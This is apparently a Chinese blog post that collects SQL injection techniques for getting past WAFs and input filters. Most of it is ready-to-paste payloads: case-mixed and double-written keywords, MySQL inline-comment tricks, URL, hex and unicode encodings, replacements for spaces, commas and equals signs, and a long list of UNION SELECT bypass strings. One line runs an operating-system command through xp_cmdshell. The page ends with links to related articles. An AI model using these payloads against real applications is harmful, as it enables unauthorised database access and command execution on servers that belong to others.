花括号绕过

select{x password}from{database.user}

union select 1,{x 2},3

特征字符大小写绕过

UniOn SEleCt 1,2,3

MYSQL特性绕过-定义变量

union select @test=user(),2,3

双写绕过

UNunionION SEselectLECT 1,2,3,4

内联注释

  1. /!select/: 相当于没有注释
  2. /!12345select/: 当12345小于当前mysql版本号的时候,注释不生效,相当于select,当大于版本号的时候注释生效。假如mysql版本是5xx,则一般使用数字4xxxx
  3. /![]/: []中括号中的数字若填写则必须是5位
  4. /!12345order/!12345by*/3 这种也是可以的
  5. /!froM/%20/!InfORmaTion_scHema/.tAblES%20/!WhERe/%20/!TaBle_ScHEmA/=schEMA()--+

编码绕过

  1. URL编码(%+十六进制):%55nION//%53ElecT%201,2,3,4**
  2. 十六进制 str -> hex
  3. ascii编码绕过
  4. **unicode编码 **
    1. 单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
    2. 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
    3. 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
    4. 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
  5. 二次URL编码

特殊符号绕过

select+id-1+1.from users

注:字符串通过+、-操作时会自动转换成数字,字符串对应得是首字节对应的值(若首字节是字符则转换为0);

当过滤了from,即可使用,用-1+1.拼接from。

select@^1.from users

*作用同上,假如过滤了from,可以select ,@^1.from users 来拼接数据

id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell%20”net%20user”’);

id=1+(UnI)(oN)+(SeL)(EcT)

过滤逗号绕过

  1. join关键字

    1. union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join (select 3)c

      1. 假如在2回显,就可以在(select 2)改成(select payload())
  2. from pos for len
    1. substr(version(),1,1) 等价于 substr(version() from 1 for 1)
  3. offset关键字
    1. 适用于limit中逗号被过滤的情况

      1. select * from users limit 2,1 等价于 select * from users limit 1 offset 2 都是从第三条记录开始取一条
      2. limit索引从0开始,代表第一条记录,limit index,num 从index开始取num条
      3. 比如limit 0,1 就是从第一条记录(包含第一条)开始取一条记录

空格绕过

// () %0a ` 两个空格**

%09 %0A %0B %0D %a0

and or绕过

  1. and -> &&
  2. or -> || -> %6f%72%20%31%3d%31(or 1=1)
  3. xor -> |
  4. not -> !

=号绕过

  1. like 不加通配符的like和等号效果一致
  2. rlike 模糊匹配 只要字段中存在查找的值就会被筛选出来
  3. regexp 正则表达式匹配 与like用法一致
  4. !(table_schema<>database())

过滤函数

  1. sleep() -> benchmark()
  2. ascii = ord() -> hex() bin()
  3. group_concat() -> concat_ws()
  4. substr() = substring() = mid()

1号位

科学计数法

  1. 数字型: ?id=1.1union select 1,2,3--+
  2. 字符型: ?id=1'%1%2Eunion select 1,2,3--+

x@(%@ -@ +@ /@ %26@)

  1. 数字型: ?id=1-@ union select 1,2,3--+
  2. 字符型: ?id=1'-@ union select 1,2,3--+

摆烂~ 具体到 https://xz.aliyun.com/t/8490 查看

UNION,SELECT,WHERE

#WAF Bypassing Strings:

 /*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+ #Union Select by PASS with Url Encoded Method: %55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

多参数请求拆分

**a=[input1]&b=[input2]**

此时在SQL语句中:

**and a=[input1] and b=[input2]**

可以将注入语句拆分:

**a=union/*;b=*/select 1,2,3--+**

**and a=union/* and b=*/select1,2,3--+**

缓冲区溢出

and+(select+1)=(Select+0xA*1000)+UnIoN+SeLeCT+1,2,version()--+

SQL注入绕过总结的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  3. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  4. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  5. SQL注入绕过的技巧总结

    sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...

  6. SQL注入绕过waf的一万种姿势

      绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...

  7. SQL注入绕过技巧总结

    1.SQL注入过程中的处理# 终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码 浏览器.代 ...

  8. 记某次sql注入绕过ids

    昨天测试sql注入,发现个站,存在ids,一个单引号直接拦截,无论我怎么编码都不行,怕不是废了.. 灵机一动 基础探测 /*'*/ 报错 /*''*/ 返回正常 是字符串类型. 先本地测试 返回所有 ...

  9. 一次简单的ctf SQL注入绕过

    注入地址:http://103.238.227.13:10087/index.php?id=1 //过滤sql $array = array('table','union','and','or','l ...

  10. SQL注入绕过技巧

    1.绕过空格(注释符/* */,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格: % % %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注 ...

随机推荐

  1. 【推理引擎】从源码看ONNXRuntime的执行流程

    目录 前言 准备工作 构造 InferenceSession 对象 & 初始化 让模型 Run 总结 前言 在上一篇博客中:[推理引擎]ONNXRuntime 的架构设计,主要从文档上对ONN ...

  2. BTree和B+Tree 简单区别

    本篇作用于各种树之间的区别,非算法详细介绍,只是给我们这种非科班出身的一种大概的印象,现在网上更多是讲各种树的怎么实现的细节问题,本篇不涉及那么高深,如果详细了解可以查阅他人的资料,很多大神已经说的很 ...

  3. 解释内存中的栈(stack)、堆(heap)和方法区(method area) 的用法?

    通常我们定义一个基本数据类型的变量,一个对象的引用,还有就是函数调用的 现场保存都使用 JVM 中的栈空间:而通过 new 关键字和构造器创建的对象则放在 堆空间,堆是垃圾收集器管理的主要区域,由于现 ...

  4. ThreadLocal 是什么?有什么用?

    ThreadLocal 是一个本地线程副本变量工具类.主要用于将私有线程和该线程存放的副本对象做一个映射,各个线程之间的变量互不干扰,在高并发场景下,可以实现无状态的调用,特别适用于各个线程依赖不通的 ...

  5. redis主从复制与哨兵高可用

    redis主从复制 话不多说,直接看案例: 环境准备, 主从规划 主节点:6380 从节点:6381.6382 运行3个redis数据库,达到 1主 2从的配置 #主库 6379.conf port ...

  6. centos 安装solr6

    1.到solr官网下载.tgz 结尾的文件 2.tar zxvf solr*.tgz 解压文件 3.进入solr的解压目录里的bin目录 执行 ./solr start -force 执行成功后 可访 ...

  7. python中一切皆对象的理解

    一切皆对象? 学过Java都知道,Java中有8个基本类型,其余的都是继承自Object类的引用类型.方法内的基本类型变量会在栈上分配,而引用类型会通过逃逸分析来决定在栈上分配或堆上分配.Java中关 ...

  8. carsim2016 与 MATLAB2018 联合仿真send to simulink后编译不成功解决方法

    之前使用CarSim8.1和Matlab17b联合仿真时遇到的问题和现在换用Carsim2017之后遇到了不一样的问题.carsim2017界面选择send to simulink 按钮之后,点击运行 ...

  9. (1/2)Canvas的交互&存为图片-基本篇

    前言 公司的产品同学看到朋友圈疯传的这张图后.一拍脑袋,决定做个H5版本的来推广一波. 需求如下: 文字变成可以点击的,而且还要能够变色(闪瞎有木有) 中间的姓名换成用户的微信头像 点击button后 ...

  10. Android修改app图标

    1.按照路径找到AndroidManifest.xml中的icon 2.在drawable添加一个png图片 3.然后在AndroidManifest.xml中的icon,修改其中的值 android ...